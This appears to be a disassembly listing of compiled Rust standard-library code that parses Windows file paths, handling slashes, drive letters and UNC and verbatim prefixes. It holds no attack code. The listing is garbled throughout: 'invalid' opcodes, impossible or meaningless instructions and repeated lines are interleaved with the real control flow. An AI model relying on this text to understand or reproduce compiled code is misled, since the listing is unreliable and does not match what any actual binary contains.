movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
jmp rax
jmp rax
add rcx, 4
add ecx, 4
rol dword [rbx + rbp*8], 0x38
jmp 0x1400d88e9
xor eax, eax
jmp 0x1400d88f3
invalid
lea r8, ds:[rdx + 1]
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
cmove r8, rdx
cmove eax, edx
cmove eax, edx
add rcx, r8
add rcx, 8
jmp 0x1400d88e9
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x1400d88e9
lea r8, [rdx + 1]
lea eax, [rdx + 1]
add dword [rax - 0x7b], ecx
test rdx, rdx
cmove r8, rdx
ret 0x14c
ror dword [rax - 0x7d], 0xc1
invalid
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
ret 0x14c
jmp 0x1400d88e9
mov ecx, 2
cmp rcx, rsi
int1
ja 0x1400d88fb
cmp al, 6
setne al
add rsp, 0x50
pop rdi
pop rsi
invalid
pop rbp
ret
lea r8, str.library_std_srcpath.rs
add byte [rax - 0x77], cl
bnd call fcn.140104660
mov rdx, rsi
call fcn.140104660
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
and al, 0x20
test r8, r8
je 0x1400d8953
movzx r10d, byte [rdx]
cmp r10b, 0x2f
cmp dl, 0x2f
mov esi, 0x5c
cmove r10d, esi
cmp r8, 1
jne 0x1400d896c
xor r9d, r9d
leave
xor ebx, ebx
xor r11d, r11d
xor eax, eax
xor r14d, r14d
div byte [rcx]
push qword [rcx]
imul cl
invalid
add byte [rax], al
invalid
div byte [rcx]
push qword [rcx]
imul cl
jmp 0x1850d8954
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
xor r14d, r14d
xor edi, edi
xor esi, esi
xor r10d, r10d
jmp 0x1400d8a3c
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x42
movzx eax, byte [rdx + 1]
cmp al, 0x2f
add dword [rdi + rbp], edi
cmovne esi, eax
cmp r8, 2
jne 0x1400d898f
xor r9d, r9d
xor ebx, ebx
fild dword [rbp + 0x31]
invalid
xor eax, eax
xor r14d, r14d
xor edi, edi
invalid
jmp 0x1400d8a3c
fild dword [rbp + 0x31]
invalid
movzx edi, byte [rdx + 2]
cmp dil, 0x2f
mov r14d, 0x5c
add byte [rax], al
jp 0x1400d8995
add byte [rax], al
cmove edi, r14d
cmp r8, 3
jne 0x1400d89b9
dec byte [rcx - 0x7d]
clc
add esi, dword [rbp + 0x12]
jne 0x1400d89b9
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor eax, eax
invalid
rol byte [rbp + 0x31], 0xf6
xor r14d, r14d
imul cl
add dword [rax], 0
add byte [rdi], cl
mov dh, 0x42
add edi, dword [rdi + rbp]
jmp 0x1400d8a3c
movzx eax, byte [rdx + 3]
cmp al, 0x2f
cmovne r14d, eax
cmp r8, 4
jne 0x1400d89d5
xor r9d, r9d
xor ebx, ebx
xor r11d, r11d
xor ebx, ebx
xor ebx, ebx
invalid
xor eax, eax
jmp 0x1400d8a3c
movzx eax, byte [rdx + 4]
cmp al, 0x2f
invalid
mov r11d, 0x5c
add byte [rcx + 0xf], al
ret
cmp r8, 5
invalid
add byte [rcx + 0xf], al
ret
jne 0x1400d89f5
xor r9d, r9d
xor ebx, ebx
fild dword [rbp + 0x31]
fucomi st(3)
invalid
fild dword [rbp + 0x31]
fucomi st(3)
movzx r9d, byte [rdx + 5]
movzx r9d, byte [rdx + 5]
cmp r9b, 0x2f
cmp cl, 0x2f
invalid
cmovne r11d, r9d
cmp r8, 6
invalid
invalid
jne case.0x1400b5836.758
xor r9d, r9d
xor ebx, ebx
jmp 0x1400d8a3c
movzx ebx, byte [rdx + 6]
cmp bl, 0x2f
mov r9d, 0x5c
add byte [rax], al
invalid
pop rdx
invalid
add byte [rax], al
add byte [rcx + 0xf], al
invalid
add byte [rax], al
cmove ebx, r9d
cmp r8, 7
invalid
jne 0x1400d8a2b
invalid
xor r9d, r9d
jmp 0x1400d8a3c
movzx r15d, byte [rdx + 7]
cmp r15b, 0x2f
cmovne r9d, r15d
mov dh, 0x7a
invalid
shl r9, 0x38
cmp r8, 8
mov r15d, 8
mov edi, 8
mov edi, 8
cmovb r15, r8
cmp r8, 2
jb 0x1400d8acc
movzx esi, sil
shl esi, 8
movzx r10d, r10b
test cl, 0xe6
or byte [rbp + 0xf], al
mov dh, 0xd2
or r10, rsi
cmp r10d, 0x5c5c
cli
pop rsp
pop rsp
add byte [rax], al
cmp r10d, 0x5c5c
jne 0x1400d8acc
mov r10d, r15d
and r10d, 0xe
cmp r10d, 2
cmp edx, 2
je 0x1400d8b09
invalid
movzx r10d, r14b
shl r10d, 8
movzx esi, dil
or esi, r10d
or esi, edx
or esi, edx
movzx r10d, si
cmp r10d, 0x5c2e
pop rsp
add byte [rax], al
pop rsp
pop rsp
add byte [rax], al
je case.0x14001a36d.3432
add byte [rcx - 0x7f], al
cli
invalid
cmp r10d, 0x5c3f
jne 0x1400d8b09
cmp r8, 3
jbe 0x1400d8d6b
clc
add ecx, dword [rdi]
xchg al, al
add al, byte [rax]
add byte [rax + 0x16742f3a], al
cmp byte [rdx + 1], 0x2f
je 0x1400d8ac6
invalid
adc byte [rax + 0x742f027a], al
jp 0x1400d8abb
invalid
or al, byte [rax + 0xf2f037a]
test dword [rbx + 1], eax
add byte [rax], al
jne 0x1400d8c09
lea r10, [r8 - 2]
jmp 0x1400d8b16
invalid
cmp r8, 2
jb 0x1400d8bac
add byte [rax], al
add byte [rax], al
cmp byte [rdx + 1], 0x3a
jne 0x1400d8bac
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 2
mov edx, eax
and dl, 0xdf
invalid
fild word [rax - 0x57f403e]
sbb cl, byte [rdi]
add dl, 0xbf
cmp dl, 0x1a
jae 0x1400d8bac
invalid
mov edi, 0xf1afa80
cmp dword [rax + 0x3c000000], 0x61
add byte [rcx + riz*2], bh
cmp al, 0x61
setae dl
shl dl, 5
xor dl, al
mov byte [rcx], 5
mov byte [rcx + 1], dl
jmp 0x1400d8baf
add byte [rax], al
add byte [rax], al
mov r10, r8
add r10, 0xfffffffffffffffe
je 0x1400d8bac
xchg esi, eax
add byte [rax], al
invalid
xchg esi, eax
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rdx + 2]
add rdx, 3
add r8, 0xfffffffffffffffc
xor r9d, r9d
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add cl, byte [rax - 0x7d]
ret 0x4903
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
pop rdx
inc dword [rcx - 0x7d]
invalid
movzx r11d, byte [rdx - 1]
cmp r11d, 0x2f
cmp ebx, 0x2f
cmp ebx, 0x2f
sti
invalid
je 0x1400d8b52
cmp r11d, 0x5c
sti
pop rsp
je 0x1400d8b52
inc r9
inc ecx
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne 0x1400d8b30
jmp 0x1400d8bac
pop rdx
lea r11, [r9 + 1]
sub r10, r11
je 0x1400d8bac
lea r11, [rax + r9]
lea ebx, [rax + rcx]
inc r11
neg r8
xor esi, esi
nop word [rax + rax]
movzx edi, byte [rdx + rsi]
cmp edi, 0x2f
je 0x1400d8b8d
cmp edi, 0x5c
pop rsp
je 0x1400d8b8d
lea rdi, [rsi + 1]
add rsi, r8
mov rsi, rdi
mov esi, edi
mov esi, edi
jne 0x1400d8b70
mov rsi, r10
test r9, r9
je 0x1400d8bac
test rsi, rsi
je 0x1400d8bac
mov byte [rcx], 4
mov qword [rcx + 8], rax
or byte [r9 + rcx*4 + 0x49], cl
adc byte [rcx + rcx*4 + 0x59], cl
invalid
mov qword [rcx + 0x20], rsi
jno 0x1400d8bca
jmp 0x1400d8baf
mov byte [rcx], 6
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
cmp r8, 3
jbe 0x1400d8d82
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x7d], cl
ret 0x3104
add rdx, 4
xor eax, eax
add r8, 0xfffffffffffffffc
sar ah, 0x74
invalid
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
movzx r9d, byte [rdx + rax]
cmp r9d, 0x2f
je 0x1400d8bfc
cmp r9d, 0x5c
je 0x1400d8bfc
inc rax
cmp r8, rax
jne 0x1400d8be0
mov rax, r8
mov byte [rcx], 3
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rax
jmp 0x1400d8baf
and r15d, 0xc
cmp r15d, 4
inc dword [rdi + rcx]
invalid
add byte [rax], 0
invalid
inc dword [rdi + rcx]
test byte [rax + 0x44000000], al
movzx edx, bl
movzx r10d, bl
shl r10, 0x30
or r10, r9
movzx r9d, r11b
shl r9, 0x28
movzx eax, al
ror byte [rax - 0x3f], 0xe0
invalid
ror byte [rax - 0x3f], 0xe0
and byte [rcx + rcx - 0x38], cl
loopne 0x1400d8c51
or rax, r9
or rax, r10
movabs r9, 0x5c434e5500000000
cmp rax, r9
jne 0x1400d8c97
cmp r8, 7
jbe 0x1400d8d99
add qword [r8], rax
invalid
add qword [r8], rax
add byte [rax - 0x73], cl
or byte [rcx + r9*4 - 0x3a], cl
invalid
lea rax, [rdx + 8]
lea eax, [rdx + 8]
mov rsi, r8
invalid
lea r9, [0x14016f768]
add rsi, 0xfffffffffffffff8
je 0x1400d8d0a
invalid
add rdx, 9
add r8, 0xfffffffffffffff6
xor r11d, r11d
xor r10d, r10d
invalid
cmp byte [rdx - 1], 0x5c
je 0x1400d8d22
inc r10
inc rdx
dec r8
cmp r8, 0xfffffffffffffffe
jne case.0x1400a5610.833
mov r10, rsi
jmp 0x1400d8d53
lea rax, [rdx + 4]
lea r9, [r8 - 4]
cmp r9, 3
jae 0x1400d8cb3
cmp r8, 4
je 0x1400d8d12
cmp r8, 6
je 0x1400d8cc4
jmp 0x1400d8cf4
movzx r10d, byte [rdx + 6]
cmp r10d, 0x2f
je 0x1400d8cc4
cmp r10d, 0x5c
jne 0x1400d8cf4
cmp byte [rdx + 5], 0x3a
jne 0x1400d8cf4
cmp dh, byte [rbp + 0x2a]
movzx edx, byte [rax]
mov r10d, edx
and r10b, 0xdf
add r10b, 0xbf
add dl, 0xbf
add dl, 0xbf
cmp r10b, 0x19
ja 0x1400d8cf4
sbb dword [rdi + 0x16], esi
cmp dl, 0x61
setae al
shl al, 5
xor al, dl
mov byte [rcx], 2
mov byte [rcx + 1], al
jmp 0x1400d8baf
add r8, 0xfffffffffffffffc
xor edx, edx
cmp byte [rax + rdx], 0x5c
pop rsp
je 0x1400d8d0f
inc rdx
cmp r8, rdx
jne 0x1400d8cfa
jmp 0x1400d8d12
xor r10d, r10d
jmp case.0x1400b5836.764
mov r9, rdx
mov byte [rcx], 0
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
jmp 0x1400d8baf
invalid
invalid
invalid
invalid
lea r11, [r10 + 1]
lea r9, [rax + r10]
inc r9
sub rsi, r11
je case.0x1400b5836.764
neg r8
neg eax
xor r11d, r11d
cmp byte [rdx + r11], 0x5c
pop rsp
je 0x1400d8d53
lea rdi, [r11 + 1]
add r11, r8
mov r11, rdi
mov ebx, edi
mov ebx, edi
jne 0x1400d8d38
mov r11, rsi
jmp 0x1400d8d53
xor r11d, r11d
mov byte [rcx], 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r10
push rcx
adc byte [rcx + rcx*4 + 0x49], cl
sbb byte [rcx + rcx*4 + 0x59], cl
mov dword [rcx + 0x20], ebx
push rcx
adc byte [rcx + rcx*4 + 0x49], cl
sbb byte [rcx + rcx*4 + 0x59], cl
invalid
pop rcx
mov dword [rcx + 0x20], ebx
pop rcx
and cl, ch
invalid
jmp 0x1400d8baf
invalid
add byte [rcx + 4], bh
mov rdx, r8
mov r8, rax
call fcn.1401046e0
lea rax, str.library_std_src_syspathwindows.rs
add eax, 0x6ed1f
mov ecx, 4
mov rdx, r8
mov r8, rax
call fcn.140104660
lea rax, str.library_std_src_syspathwindows.rs
mov ecx, 8
mov rdx, r8
mov r8, rax
call fcn.140104660
int3
int3
int3
int3
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
movzx ebx, byte [rdx + 0x38]
cmp byte [rax + 0x147503fb], al
cmp byte [rax + 0x147503fb], al
mov byte [rcx], 0xa
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
mov r12, rdx
movzx r15d, byte [rdx + 0x39]
movzx r8d, byte [rdx + 0x10]
xor r9d, r9d
jp 0x1400d8e33
cmp dword [rdi + rcx - 0x4a], eax
adc byte [rbp + 0x31], al
leave
cmp r8d, 3
setae r10b
mov rax, qword [rdx + 0x30]
lea rdx, [rax + 1]
test rax, rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
rol byte [rcx - 0x80], 1
inc dword [rbx]
cmove rdx, rax
cmp r15b, 3
je 0x1400d8dde
mov edi, 0x77fb3844
mov edx, 0x245c8b4d
and byte [rcx - 0x73], cl
add al, 0x45
mov r9b, r10b
cmp bl, r15b
ja 0x1400d8dde
mov r11, qword [r12 + 0x20]
lea rax, [r11 + 4]
mov r9b, r10b
lea r9d, [r9 + r9*2]
lea ecx, [rcx + rcx*2]
add r9d, 7
mov dword [rbp - 0xc], r9d
hlt
movzx r13d, byte [r12 + 0x3a]
lea r9, [r11 + rdx + 2]
mov qword [rbp - 8], r9
clc
hlt
clc
lea rdx, [r11 + rdx + 8]
push rsp
adc ecx, dword [rax]
mov qword [rbp], rdx
mov rsi, qword [r12]
xor al, 0x24
xor al, 0x24
mov rdx, qword [r12 + 8]
mov r14d, r8d
mov r9, rdx
jmp 0x1400d8e89
mov r10, rsi
mov rsi, r10
cmp bl, r15b
ja 0x1400d8dde
invalid
test bl, bl
je 0x1400d8f00
movzx r10d, bl
mov dh, 0xd3
cmp r10d, 1
jne 0x1400d8f20
mov byte [r12 + 0x38], 2
test r13b, r13b
jne 0x1400d906a
mov bl, 2
cmp r8d, 3
jb 0x1400d8e7a
cmp r8d, 5
je 0x1400d8e7a
cmp r8d, 6
cmp eax, 6
jne 0x1400d9132
add byte [rax], al
test rdx, rdx
je 0x1400d9013
movzx r10d, byte [rsi]
cmp rdx, 1
je 0x1400d901a
cmp r10b, 0x2e
jne 0x1400d901a
jne 0x1400d901a
movzx r10d, byte [rsi + 1]
cmp r10d, 0x2f
je case.0x1400d6a4e.422
cmp r10d, 0x5c
jne 0x1400d8e7a
jmp case.0x1400d6a4e.422
lea r10, [0x1401756dc]
movsxd r11, dword [r10 + r14*4]
sbb al, 0xb2
invalid
sbb al, 0xb2
add r11, r10
mov r10, rax
jmp r11
nop dword [rax]
test rdx, rdx
je 0x1400d908a
test byte [rcx + 1], ah
invalid
add dword [rax], eax
invalid
invalid
xor r11d, r11d
cmp r8b, 3
cmp al, 3
jae 0x1400d8f60
nop word cs:[rax + rax]
cmp byte [rsi + r11], 0x5c
je 0x1400d8fa6
inc r11
cmp rdx, r11
jne 0x1400d8f40
jmp 0x1400d8f79
movzx r9d, byte [rsi + r11]
cmp r9d, 0x2f
je 0x1400d8fa6
cmp r9d, 0x5c
je 0x1400d8fa6
inc r11
cmp rdx, r11
jne 0x1400d8f60
xor r10d, r10d
mov r11, rdx
test r11, r11
jne 0x1400d8fb1
mov r9, rdx
sub r9, r10
jb 0x1400d913a
add r10, rsi
mov qword [r12], r10
mov qword [r12 + 8], r9
mov bl, 2
mov rdx, r9
jmp 0x1400d8e7d
mov r10d, 1
test r11, r11
je 0x1400d8f84
mov r9, rsi
mov edi, dword [rbp - 0xc]
mov ebx, edi
cmp r11, 1
je case.0x1400d6a4e.417
mov dil, 9
cmp r11, 2
jne 0x1400d8fe4
cmp byte [rsi], 0x2e
jne 0x1400d8fe4
lea r9, [rsi + 1]
mov bl, 8
cmp byte [r9], 0x2e
movzx edi, bl
sti
sti
mov r9d, 9
add byte [rax], al
cmovne edi, r9d
add r10, r11
mov r9, rdx
sub r9, r10
jb 0x1400d913a
add r10, rsi
mov qword [r12], r10
mov dword [rsp], edx
mov qword [r12], r10
mov dword [rsp], edx
mov qword [r12 + 8], r9
mov bl, 2
mov rdx, r9
cmp dil, 0xa
je 0x1400d8e7d
invalid
invalid
invalid
invalid
jmp case.0x1400d88a8.22
add byte [rax], al
add byte [rcx], dh
shr cl, cl
xor edx, edx
jmp 0x1400d8e7a
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x7d]
cli
add dword [rdi], ecx
cmp rdx, 1
jne 0x1400d8e7a
test dword [rsi - 2], edx
invalid
invalid
test dword [rsi - 2], edx
invalid
cmp r10b, 0x2e
jne 0x1400d8e7a
invalid
cli
jne 0x1400d8e7a
dec dword [rbp - 0x7b]
leave
test r9, r9
je 0x1400d9180
test byte [rcx + 1], cl
add byte [rax], al
dec r9
inc rsi
inc esi
inc esi
mov qword [r12], rsi
mov qword [r12 + 8], r9
and al, 8
or dh, al
add dword [rdi], eax
invalid
mov byte [rcx], 7
invalid
jmp 0x1400d8de1
invalid
inc dword [rcx - 0x3a]
and al, 0x38
and al, 0x38
and al, 0x38
add dword [rax - 0x73], ecx
adc eax, 0x9c69d
popfq
invalid
or dword [rax], eax
movsxd r10, dword [rdx + r14*4]
popfq
invalid
adc al, 0xb2
add r10, rdx
add edx, edx
jmp r10
loop 0x1400d90af
mov r10, rax
mov edx, eax
jmp 0x1400d90bf
push rbp
test r9, r9
je 0x1400d916d
dec r9
inc rsi
mov qword [r12], rsi
xor al, 0x24
mov qword [r12 + 8], r9
and al, 8
or dh, al
add dword [rsi], eax
mov byte [rcx], 6
jmp 0x1400d8de1
inc dword [rcx - 0x3a]
and al, 0x38
mov byte [r12 + 0x38], 3
jmp 0x1400d8dde
add ebp, ecx
std
invalid
mov byte [rcx], dil
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r11
jmp 0x1400d8de1
cmp al, 0xfd
invalid
invalid
cmp al, 0xfd
invalid
add byte [rax], al
jmp 0x1400d90bf
cmp r10, r9
ja case.default.0x1400d90d6
lea rdx, [0x140175710]
movsxd r11, dword [rdx + r14*4]
add r11, rdx
jmp r11
mov rax, qword [rbp]
jmp case.0x1400d90d6.0
mov rax, qword [rbp - 8]
jmp case.0x1400d90d6.0
mov eax, 6
jmp case.0x1400d90d6.0
mov eax, 2
mov rdx, r9
sub rdx, rax
jb 0x1400d915b
add rax, rsi
mov qword [r12], rax
mov qword [r12 + 8], rdx
mov byte [rcx], r8b
movups xmm0, xmmword [r12 + 0x11]
movups xmm1, xmmword [r12 + 0x21]
movups xmmword [rcx + 1], xmm0
movups xmmword [rcx + 0x11], xmm1
mov rax, qword [r12 + 0x30]
mov qword [rcx + 0x20], rax
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r10
jmp 0x1400d8de1
mov byte [rcx], 6
jmp 0x1400d8de1
lea r8, str.library_std_srcpath.rs
mov rcx, r10
mov ecx, edx
mov ecx, edx
call fcn.140104660
lea r8, str.library_std_srcpath.rs
mov rcx, r10
mov rdx, r9
call fcn.1401046e0
lea r8, str.library_std_srcpath.rs
mov rcx, rax
mov rdx, r9
call fcn.140104660
invalid
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
shr al, cl
loopne 0x1400d9132
add al, byte [rax]
shr al, cl
loopne 0x1400d9132
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.140104660
int3
int3
int3
mov dh, 0xd0
lea r9, [r10 + 1]
xor eax, eax
rol byte [rcx - 0x80], 0xfa
add al, 0x4c
cmovae ecx, eax
rol byte [rcx - 0x80], 0xfa
add al, 0x4c
cmovae ecx, eax
movzx r10d, byte [rdx]
lea r11d, [r10 - 6]
movzx esi, r11b
lea rdi, [rsi + 1]
cmp sil, 4
cmovae rdi, rax
add al, 0x48
cmovae edi, eax
cmp r9, rdi
jne 0x1400d9271
invalid
add byte [rax - 0x367bbaff], dh
mov al, 1
test r9b, r9b
je 0x1400d921c
movzx r8d, r9b
cmp r8d, 4
add al, 0x75
invalid
add al, 0x75
jns 0x1400d923a
cmp r9d, 4
cmp ecx, 4
jne 0x1400d9271
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x1400d926f
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 8]
call sub.VCRUNTIME140.dll_memcmp
popfq
add al, byte [rax]
test eax, eax
sete al
shr bl, 0x55
cmp r11b, 3
jbe 0x1400d9271
cmp r8b, r10b
jne 0x1400d926f
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x1400d926f
mov rsi, rdx
mov rdx, qword [rdx + 8]
mov rdi, rcx
mov rcx, qword [rcx + 8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400d926f
mov r8, qword [rdi + 0x20]
cmp r8, qword [rsi + 0x20]
and byte [rbp + 0xa], r14b
and byte [rbp + 0xa], r14b
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rdi + 0x18]
jmp 0x1400d9210
xor eax, eax
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
xor byte [rax - 0x77], cl
push rbp
mov edi, 0x1141100f
adc byte [rcx + 0x11], al
adc byte [rcx + 0x11], al
movups xmm1, xmmword [rcx + 0x21]
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
movzx edx, byte [rcx + 0x3a]
movzx r12d, byte [rcx + 0x38]
movzx esp, byte [rcx + 0x38]
movzx esp, byte [rcx + 0x38]
movzx r8d, byte [rcx + 0x39]
mov qword [rbp + 8], rsi
cmp dword [r8 - 0x77], ecx
jne 0x1400d92ed
mov qword [rbp + 0x10], rdi
mov byte [rbp + 0x18], al
movaps xmm0, xmmword [rbp - 0x60]
sub byte [rbp - 0x60], al
movaps xmm1, xmmword [rbp - 0x50]
movups xmmword [rbp + 0x19], xmm0
mov al, 0xf
adc dword [rbp + 0x19], eax
movups xmmword [rbp + 0x29], xmm1
mov rcx, qword [rbp - 0x41]
mov qword [rbp + 0x38], rcx
mov byte [rbp + 0x42], dl
mov byte [rbp + 0x40], r12b
mov byte [rbp + 0x41], r8b
mov byte [rbp + 0x41], r8b
cmp r12b, 2
jne 0x1400d93d4
test rdi, rdi
je case.0x1400d88a8.34
cmp al, 3
jae 0x1400d9360
lea rcx, [rsi + rdi]
xor r9d, r9d
nop dword [rax]
cmp byte [rsi + r9], 0x5c
je 0x1400d9344
inc r9
cmp rdi, r9
jne 0x1400d9330
jmp 0x1400d93cc
test r9, r9
jne 0x1400d96bd
inc rsi
dec rdi
jne 0x1400d932a
xor edi, edi
mov rsi, rcx
mov qword [rbp + 8], rcx
jmp 0x1400d93d0
xor ecx, ecx
nop word cs:[rax + rax]
movzx r9d, byte [rsi + rcx]
cmp r9d, 0x2f
je 0x1400d93a0
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
test rcx, rcx
je 0x1400d93b6
cmp rdi, rcx
jb 0x1400d96c5
add rsi, rcx
sub rdi, rcx
jne 0x1400d9360
xor edi, edi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdi
cmp r8b, 2
cmp al, 2
jne 0x1400d9629
test dl, dl
setne cl
cmp r12b, 1
ja 0x1400d941a
xor r8d, r8d
cmp al, 5
jb 0x1400d9468
test dl, dl
jne 0x1400d9468
sal byte [rbp + 0x74], cl
xor r9d, r9d
cmp al, 6
je 0x1400d9410
test r12b, r12b
jne 0x1400d9410
mov r9d, 2
cmp rdi, 1
jbe 0x1400d9707
xchg bh, dh
add al, byte [rax]
invalid
xchg bh, dh
add al, byte [rax]
add byte [rcx + 0x39], cl
stc
cmp r9, rdi
jne 0x1400d9421
xor r8d, r8d
jmp 0x1400d9468
xor ecx, ecx
xor r8d, r8d
jmp case.0x1400d9654.6
lea r8, [rsi + rdi]
lea r10, [rsi + r9]
adc al, 0xe
inc r10
cmp r10, r8
sete r8b
movzx r9d, byte [rsi + r9]
test r8b, 1
jne 0x1400d945d
cmp r9b, 0x2e
jne 0x1400d945d
invalid
jne 0x1400d945d
sbb dword [rbp + 0xf], eax
mov dh, 2
movzx r8d, byte [r10]
cmp r8b, 0x5c
sete r9b
cmp r8b, 0x2f
sete r8b
or r8b, r9b
jmp 0x1400d9468
cmp r9b, 0x2e
sete r9b
stc
sete r9b
and r8b, r9b
test r12b, r12b
je case.0x1400d8f11.27
xor r9d, r9d
movzx r8d, r8b
movzx ecx, cl
add rcx, r8
add rcx, r9
cmp rdi, rcx
jbe 0x1400d9629
test dl, dl
setne cl
cmp al, 6
sete r13b
cmp al, 5
setb bl
test r12b, r12b
setne r9b
mov r10, qword [rbp + 0x38]
lea r8, [r10 + 1]
test r10, r10
cmove r8, r10
ret 0x8041
cld
add cl, byte [rdi]
cmp dword [rcx], 1
add byte [rax], al
ret 0x8041
movzx r14d, dl
or bl, cl
or r13b, r9b
mov rcx, qword [rbp + 0x28]
lea rdx, [rcx + 4]
mov qword [rbp], rdx
lea rdx, [rcx + r8]
add rdx, 2
add edx, 2
add edx, 2
mov qword [rbp - 0x10], rdx
lea rcx, [rcx + r8 + 8]
add qword [rax], r9
add qword [rax], r9
mov qword [rbp - 8], rcx
mov eax, eax
mov qword [rbp - 0x18], rax
jmp 0x1400d950f
nop dword [rax]
add byte [rcx], dh
rol byte [rbp - 0x7c], 0xe4
test r12b, r12b
xor eax, eax
test r12b, r12b
je 0x1400d95b0
add byte [rax], al
add byte [rcx], dh
leave
xor ecx, ecx
movzx eax, al
add rax, r14
add rax, rcx
cmp rdi, rax
jbe 0x1400d9629
add dword [rax], eax
invalid
invalid
sbb al, byte [rcx]
add byte [rax], al
add dword [rax], eax
add byte [rcx - 0x77], cl
mov edi, edi
lea rcx, [rbp - 0x60]
lea rdx, [rbp + 8]
invalid
add dword [rdx], eax
invalid
mov r15, rdi
mov edi, edi
lea rcx, [rbp - 0x60]
lea rdx, [rbp + 8]
call fcn.1400d9720
add byte [rax + 0xf0aa87d], al
test dword [rbx], edi
add dword [rax], eax
add byte [rax], al
movabs al, byte [0x201e808558d48]
add byte [rax + 0xf0aa87d], al
test dword [rbx], edi
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 1], cl
mov rdi, r15
sub rdi, qword [rbp - 0x60]
jb 0x1400d96d4
invalid
sahf
add dword [rax], eax
invalid
invalid
mov qword [rbp + 0x10], rdi
test bl, bl
jne 0x1400d94f0
test r13b, r13b
je 0x1400d9550
xor ecx, ecx
jmp case.0x1400d8f11.34
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 2], bh
mov ecx, 2
cmp rdi, 2
jb 0x1400d96f8
invalid
add byte [rax + 0x39], cl
stc
cmp rcx, rdi
je 0x1400d94f0
lea rax, [rsi + rdi]
lea eax, [rsi + rdi]
lea rdx, [rsi + rcx]
inc rdx
cmp rdx, rax
sete al
movzx ecx, byte [rsi + rcx]
invalid
invalid
test al, 1
jne 0x1400d959c
cmp cl, 0x2e
jne 0x1400d959c
invalid
sbb cl, byte [rdi]
mov dh, 2
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
or al, cl
enter 0xffffffffffff8445, 0xffffffffffffffe4
enter 0xffffffffffff8445, 0xffffffffffffffe4
in al, 0xf
jne case.0x1400d95c2.6
test dword [rcx - 1], esp
invalid
jmp 0x1400d95b0
cmp cl, 0x2e
stc
sete cl
sete cl
and al, cl
test r12b, r12b
jne case.0x1400d95c2.6
test dword [rsi - 1], ecx
invalid
invalid
nop dword [rax]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
lea rdx, [0x14017575c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
invalid
mov rcx, qword [rbp - 0x10]
jmp 0x1400d94fd
invalid
invalid
invalid
invalid
invalid
mov ecx, dword [rbp - 8]
jmp 0x1400d94fd
invalid
invalid
mov ecx, 2
add byte [rax], al
jmp 0x1400d94fd
or bh, bh
invalid
lea rbx, [rbp - 0x60]
lea r14, [rbp + 8]
nop dword [rax + rax]
or byte [rdi], cl
invalid
mov rcx, rbx
mov rdx, r14
bnd call fcn.1400d9720
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0x750aa87d], al
cmp byte [rbp - 0x58], 0xa
jne 0x1400d9629
mov rcx, rdi
cmp byte [rbp - 0x58], 0xa
jne 0x1400d9629
mov rcx, rdi
sub rcx, qword [rbp - 0x60]
jb 0x1400d96e6
movabs al, byte [0x8948000000c8820f]
adc byte [r8 - 0x77], r9b
iretd
mov qword [rbp + 0x10], rcx
mov rdi, rcx
iretd
jne 0x1400d9600
xor edi, edi
mov rax, rsi
mov rdx, rdi
add rsp, 0xc8
enter 0, 0
enter 0, 0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r9d, eax
lea r10, [0x140175740]
movsxd r9, dword [r10 + r9*4]
invalid
or al, 0x8a
add r9, r10
jmp r9
mov ecx, dword [rbp + 0x28]
add r9, 4
jmp 0x1400d9474
mov rdi, r15
jmp 0x1400d9629
ror byte [rbp + 0xf], cl
fimul dword [rbp + 1]
invalid
add ch, cl
in al, dx
std
invalid
mov rcx, rsi
jmp 0x1400d93cc
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.140104660
mov rcx, rdi
lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.1401046e0
mov r15, rdi
